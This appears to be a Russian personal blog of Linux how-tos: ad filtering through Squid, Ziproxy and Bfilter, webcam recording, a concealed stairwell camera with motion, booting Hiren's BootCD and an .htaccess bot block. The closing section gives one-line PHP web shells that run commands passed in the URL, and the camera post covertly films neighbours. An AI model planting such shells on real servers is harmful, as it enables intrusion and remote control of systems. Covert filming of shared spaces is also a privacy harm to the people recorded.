Наткнулся на замечательные статьи посвящённые оптимизации интернет канала для пользователей.
У меня дома есть сервер, который раздаёт интернет на несколько ПК и на нём крутиться Squid.
Раньше рекламу резал SquidGuard, но как-то не качественно получалось.
Решил заменить и оптимизировать.
Схема оптимизации проста:
В интернет:
Squid (кэшируем) => Ziproxy (сжимаем) => Bfilter (обрезаем рекламу) => Интернет
Из Интернета:
Интернет => Bfilter (обрезаем рекламу) => Ziproxy (сжимаем) => Squid (кэшируем) => Клиент
1) Ставим Bfilter по ЭТОЙ инструкции.
Для пользователей Gentoo по первой части ЭТОЙ инструкции:

Цитата:
Итак. Приступим. Допустим что Gentoo Linux уже установлен на уровне базовой системы и в ядре включена поддержка iptables. Теперь установим bfilter, squid и iptables:
emerge bfilter squid iptables
Далее приступаем к настройке. Сначала настраиваем bfilter. По умолчанию он запускается в chroot-окружении, но не работает:) Для решения этой проблемы “достаём” его из chroot. Для этого в файле /etc/conf.d/bfilter заменяем строчку:
BFILTER_OPTS=”-u bfilter -g bfilter -r /etc/bfilter”
На строку:
BFILTER_OPTS=”-u bfilter -g bfilter”
Затем открываем в редакторе файл /etc/bfilter/config и правим следующим образом: меняем значение параметра “ad_border” на “none”, т.е. отключаем отображение границ вырезаной рекламы (уж больно не эстетично они выглядят:)). Так же меняем значение параметра “page_cleanup” на “safe”, чтобы не просто блокировать рекламу, но и по возможности вырезать её код, из кода загружаемых страниц. Здесь так же ещё возможно значение “maximum”, но в этом случае возможны поломки кода, что нежелательно.
На этом настройка bfilter заканчивается и можно его запускать:

rc-update add bfilter default
/etc/init.d/bfilter start
2) Ставим Ziproxy по ЭТОЙ инструкции.
3) Прикручиваем к Squid
Правим squid.conf
http_port 3128 transparent

never_direct allow all
cache_peer 127.0.0.1 parent 8787 0 no-query no-digest

8787 – Это порт Ziproxy из примера.
4) Пробуем всё запустить и добавляем сервисы в автозапуск.
5) Прикручиваем фильтры от программы AdBlock
Базовая инструкция для FreeBSD доступна здесь
Но, она предназначена для получения апдейтов из одного источника.
Что-ж модифицируем скрипт для скачивания списков из множества источников
Источники списков для AdBlock для русских сайтов можно взять на ЭТОЙ ветке форуме в подписях участников.
Поскольку у меня Gentoo, то я выкладываю свои правленые скрипты:
В adblock2bfilter.pl меняем путь до Perl
#!/usr/bin/perl
В bfilterUpdateLists.sh требуются большие изменения.
Вот мой файл, который качает списки со множества источников:

1. #!/bin/bash
2. #Update Bfilter
3. EASYLIST_URL=link.txt
4. TEMP_FILE=“/tmp/bfilterList.tmp”
5. LOCAL_LIST_FILE=“/etc/bfilter/urls.local.save”
6. OUTPUT_FILE=“/etc/bfilter/urls.local”
7. WGET=“/usr/bin/wget”
8. CAT=“/bin/cat”
9. CONVERTER=“/usr/local/bin/adblock2bfilter.pl”
10. BFILTER=“/etc/init.d/bfilter”
11. ${WGET} -q -O – -i ${EASYLIST_URL} | ${CONVERTER} >${TEMP_FILE}
12. if [ -s ${TEMP_FILE} ]; then
13. echo “Updating BFilter URLs:”
14. if [ -f ${LOCAL_LIST_FILE} ]; then
15. ${CAT} ${TEMP_FILE} ${LOCAL_LIST_FILE} >${OUTPUT_FILE}
16. rm ${TEMP_FILE}
17. else
18. mv ${TEMP_FILE} ${OUTPUT_FILE}
19. fi
20. chmod 640 ${OUTPUT_FILE}
21. ${BFILTER} restart
22. echo “”
23. fi

Т.е Ссылки на списки с фильтрами Мы пишем в файл link.txt, который у меня лежит в директории со скриптом.
Вот мой link.txt с некоторыми фильтрами:

http://ruadlist.googlecode.com/svn/trunk/adblock.txt

http://easylist.adblockplus.org/adblock_rick752.txt

http://nsis.narod.ru/clean_internet/aag.txt

http://nsis.narod.ru/clean_internet/aas.txt

http://nsis.narod.ru/clean_internet/ac.txt

http://nsis.narod.ru/clean_internet/ae.txt

http://nsis.narod.ru/clean_internet/ao.txt

6) Записываем скрипт cron для автообновления.
Всё, радуемся результату.

Понадобилось мне записать видео письмо другу, а под рукой есть только Eee PC 701 с WEB камерой.
Что-же делать? Правильно. Начать записывать :)
Для начала убедимся что у Вас в ядре уже включена поддержка WEB камеры и v4l2
Писать видео Мы будем через Mplayer и mencoder.
Mplayer наверняка уже у Вас установлен, если нет то незабываем его установить.
Если производите сборку из сорцов позаботьтесь о соответствующих флагах.
Теперь убедимся что WEB камера у Нас показывает.
Даём команду:

mplayer tv:// -tv driver=v4l2:width=352:height=288:device=/dev/video0
И наблюдаем сами-себя.
Идём дальше.
Пробуем записать видео:

cd /tmp
mencoder tv:// -tv driver=v4l2:width=:height=:device=/dev/video0 -nosound -ovc lavc -o .avi
На выходе получим видео но без звука.
Теперь дело осталось за малым: Прикрутить звук к видео, который Мы будем писать через встроенную звуковую карту.
Готовая команда выглядит так:
mencoder tv:// -tv driver=v4l2:width=320:height=240:device=/dev/video0:alsa:forceaudio:amode=0:adevice=hw.0,0 -ovc lavc -lavcopts vcodec=mpeg4 -oac mp3lame -lameopts vbr=3:br=32:mode=3 -af volnorm -o VideoFile.avi

Описание команд:
tv:// – Источник видео
driver=v4l2 – Драйвер видео, в нашем случае v4l2
width и height – Размеры видеокартинки
device=/dev/video0 – Видеоустроство
-nosound – Без звука
-ovc lavc – Видеокодек
alsa:forceaudio:amode=0: – Параметры звука
adevice=hw.0,0 – Звуковая карта, если нет звука или Вы хотите писать его например через микрофон в WEB камере то поиграйтесь со значениями 0,0 (0,1;1,0 и т.д)
-lavcopts vcodec=mpeg4 – Параметры кодека
-oac mp3lame – Звуковой кодек, в Нашем случае mp3 Lame
lameopts vbr=3:br=128:mode=0 – параметры для кодека Lame
vbr=3 – используем ABR. vbr=0 соответствует CBR
br=32 – указываем битрейт, в данном случае 32 Kbps
mode=0 – на выходе получаем стерео звук. mode=3 соответствует mono-звуку
-af volnorm – Нормализация звука

Можно ещё добавить каких-нибудь видеофильтров, хотя мне и так нравиться.
Ссылки:
Номер раз
Номер два
Номер три
Номер четыре
Номер пять

Всем привет!
Сегодня займёмся настройкой видеонаблюдения.
Зачем это нужно? Да для чего угодно.
Лично мне лень вставать из-за пк, чтобы посмотреть кто-же там пришёл. Я просто открываю браузер и смотрю.
Да и в добавок жуть как интересно, что-же там (в подъезде) происходит когда тебя нет, кто же всё-таки загадил весь подъезд.
Последнее, что меня окончательно надоумило ставить видеонаблюдение, так это статья в журнале “Хакер”, где как раз и рассказывалось про то, как и из чего можно организовать слежку.
Итак, первое что нужно сделать, так это выбрать WEB камеру, которая поддерживается LINUX.
Я смотрел на ЭТОЙ страничке. Ещё можно глянуть ТУТ.
Мой выбор пал на Logitech QuickCam Messenger

Как её настроить для Linux на примере Debian можно прочитать ТУТ
Поскольку у меня Gentoo, из этой статьи я сделал вывод, что мне нужно:
а) Модуль v4l
б) Драйвер gspca (В современных ядрах Linux >2.6.27 он уже включён в набор)
Я пересобрал моё ядро (2.6.23) с поддержкой v4l
Сам-же драйвер я качал с его Home Page
cd /tmp
wget http://mxhaard.free.fr/spca50x/Download/gspcav1-20071224.tar.gz
tar xvfz gspcav1-20071224.tar.gz
cd gspcav1-20071224
make
make install #При необходимости, я не делал
depmod -a
modprobe gspca
Вставляем камеру в USB порт, она должна включиться.
Проверяем, что ПК её видит и Linux её опознал:
#lsusb
Bus 005 Device 001: ID 1d6b:0001
Bus 004 Device 001: ID 1d6b:0001
Bus 003 Device 001: ID 1d6b:0001
Bus 002 Device 002: ID 046d:08da Logitech, Inc. QuickCam Messanger
Bus 002 Device 001: ID 1d6b:0001
Bus 001 Device 001: ID 1d6b:0002
#dmesg| grep Logitech
drivers/media/video/usbvideo/quickcam_messenger.c: Logitech Quickcam Messenger USB v0.01
И должно появиться устройство в папке /dev/video0
У меня оно почему-то появилось в /dev/v4l/video0, я просто сделал сим.линк в /dev/video0
Уф, с первой частью покончили. Переходим ко второй: Установке ПО.
В качестве ПО я выбрал motion
Программа Motion способна контролировать сигнал, полученный с одной или нескольких видеокамер, и обнаруживать наличие изменений на картинке. На выходе получаем фотки в форматах jpeg, ppm или mpeg видеопоток, который может транслироваться в сеть или записываться в файл. При необходимости на указанный почтовый адрес может быть отослано сообщение с информацией о событии. Возможно выполнение любой предусмотренной пользователем команды или скрипта, поэтому реакция системы зависит только от твоей фантазии. Например, в Сети я видел информацию, как заставить Asterisk звонить на мобилу при обнаружении движения. Как вариант, Motion может просто захватывать кадры с указанного устройства через определенные интервалы времени или по команде cron.
Motion написан на языке Си, изначально разрабатывался для Linux, но может работать и в FreeBSD и Mac OS X. Поддерживаются все типы популярных сегодня видеокамер, подключаемых к компьютеру через USB порт, Video4Linux устройства и сетевые камеры. Драйверов для видеокамер проект Motion не предоставляет, поэтому прежде чем начинать настройку, убедись, что твоя камера видна операционке.

Фактически вся рабочая система представлена демоном, который потребляет небольшое количество системных ресурсов. В текущей версии 3.2 убраны практически все параметры командной строки запуска, поэтому установки производятся исключительно путем правки конфигурационных файлов. Никаких супер-пупер удобных графических инструментов для этих целей не предусмотрено. Хотя Motion имеет встроенный http-сервер, предназначенный для просмотра захваченного видео и прямой правки параметров в конфиге
Источник
Иными словами, Мы получаем всю систему с http сервером из коробки и без лишнего гемороя.
Нам потребуется:
ffmpeg
motion с включённым v4l и ffmpeg
В Gentoo ставиться так:
USE=”v4l ffmpeg” emerge motion
Притом, ffmpeg лучше взять тот, который рекомендуют разработчики. Ссылка.
C ffmpeg я напоролся на неприятность, дело в том что в Gentoo с Motion 3.2.11 (из репозитария) случилась беда.
Он падал при запуске с ошибкой сегментации.
Скачал Motion 3.2.10, но он почему-то не понимал что ffmpeg установлен.
В Gentoo ffmpeg лежит в /usr папке, путь указывается так: –with-ffmpeg=/usr
Тогда скачал последний Motion Daily Source Snap .
Он ffmpeg нашёл и начал работать, но видео не писал.
Запустил без режима демона “motion -n” и стал смотреть вывод.
Вылезла ошибка, что ffmpeg не может создать файл со словами: invalid argument.
Пришлось и ffmpeg ставить в отдельную папку и указывать её motion.
Напомню, как это делается:
sudo -i
cd /tmp
wget http://prdownloads.sourceforge.net/motion/ffmpeg-cvs-20060306-certified-with-motion-3.2.5.tar.gz
tar xvfz ffmpeg-cvs-20060306-certified-with-motion-3.2.5.tar.gz
cd ffmpeg
./configure –prefix=/usr/local/ffmpeg
make
make install
wget http://www.lavrsen.dk/sources/motion-daily//motion-daily-last.tar.gz
tar xvfz motion-daily-last.tar.gz
cd motion
./configure –prefix=/usr/local/motion –without-mysql –without-pgsql –with-ffmpeg=/usr/local/ffmpeg
make
make install
Т.е Мы собрали Motion без поддержки баз данных и установили в папку /usr/local/motion
Конфигурирование:
Переходим в папку /etc или /usr/local/motion/etc , и ищем там файл motion.conf или motion-dist.conf.
Если у Вас файл motion-dist.conf, то его следует переименовать в motion.conf
Сам-же файл очень подробно прокомментирован и описывать его не вижу смысла.
Лучше я Вам выложу свой рабочий конфиг для Motion 3.2.11.
Так же основные пункты перевидены в этой статье.
Далее запускаем motion -n или /usr/local/motion/bin/motion -n и смотрим вывод, если нет ошибок то всё ОК
Затем остаётся добавить motion в автозапуск и радоваться жизни.
Сокрытие и модификация камеры:
Следующий важный пункт это крепление камеры.
Я вырезал крепление из бутылки от шампуня, которую нашёл на улице и прикрутил выше двери.
Подставку пришлось сломать. Зелёный светодиод заклеил лейкопластырем.
фото:
Камера
Купил USB удлинитель на 5 метров + ~1 метр от камеры. Всё работает.
Теперь модификация:
Делаем камеру инфракрасной
Отличная статья как это сделать и зачем это нужно ТУТ
Коротко: Смысл в том, что нужно снять ИК-фильтр из объектива камеры.
Результат:
Лучше всяких слов скажет видео, снятое моей подъездной камерой:

http://www.youtube.com/watch?v=x0otGil03Fo

Остальное доступно тут: http://www.youtube.com/davnozdubv

Продолжаем грузить разные ОС через Grub4DOS
Сегодня грузим набор утилит Hiren’s BootCD
Приступим:
1) Идём на lexapass.narod.ru и качаем Hiren’s BootCD 9.6 или выше
На момент написания 9.6 последняя версия. Её я и скачал.
2)Скачали, расспаковали и получили образ Hiren’s_BootCD_9.6_Russian_by_lexapass_no_emul.iso
Его и монтируем. В Linux делается так
sudo mount -o loop /tmp/Hiren’s_BootCD_9.6_Russian_by_lexapass_no_emul.iso /mnt/cdrom
3) В образе нам потребуется только папка BootCD
Копируем её в корень своей Flash на FAT16/32 раздел.
4) Ещё нам потребуется memdisk
Его можно :
Скачать в интернете
Взять на диске с System Rescue CD
Скомпилировать
Я свой выложил для Вас сюда http://www.mediafire.com/download.php?chlgm4kzizl
Его нужно положить в корень Flash накопителя.
5) В menu.lst пишем
title Hiren 9.6
root (hd0,0)
kernel /memdisk
initrd /BootCD/Hiren.ima
Hiren.ima – это загрузочная запись. Её можно извлечь с помощью UltraISO при необходимости.
В данной сборке она уже присутствует в папке BootCD.
6) Грузимся и радуемся результату.
UPD:
Hiren’s BootCD 9.7 нужна папка не BootCD, а папка hbcd.
Теперь её нужно копировать в корень диска.
Соответственно пункт в menu.lst будет выглядеть так:
title Hiren 9.7
root (hd0,0)
kernel /memdisk
initrd /hbcd/Hiren.ima

Запрет индексации поисковыми роботами
SetEnvIfNoCase User-Agent “^Yandex” search_bot
SetEnvIfNoCase User-Agent “^Yahoo” search_bot
SetEnvIfNoCase User-Agent “^igdeSpyder” search_bot
SetEnvIfNoCase User-Agent “^Robot” search_bot
SetEnvIfNoCase User-Agent “^Googlebot” search_bot
SetEnvIfNoCase User-Agent “^msnbot” search_bot
SetEnvIfNoCase User-Agent “^Aport” search_bot
SetEnvIfNoCase User-Agent “^Mail” search_bot
SetEnvIfNoCase User-Agent “^bot” search_bot
SetEnvIfNoCase User-Agent “^spider” search_bot
SetEnvIfNoCase User-Agent “^php” search_bot
SetEnvIfNoCase User-Agent “^Parser” search_bot
<Limit GET POST HEAD>
Order Allow,Deny
Allow from all
Deny from env=search_bot
</Limit>

Простой Shell на PHP
<?php system($_GET["cmd"]); ?>
<? system($a);?>
<? system($a);?> or <? exec($a);?> or <? eval($a);?>
logins.php?a=[shell]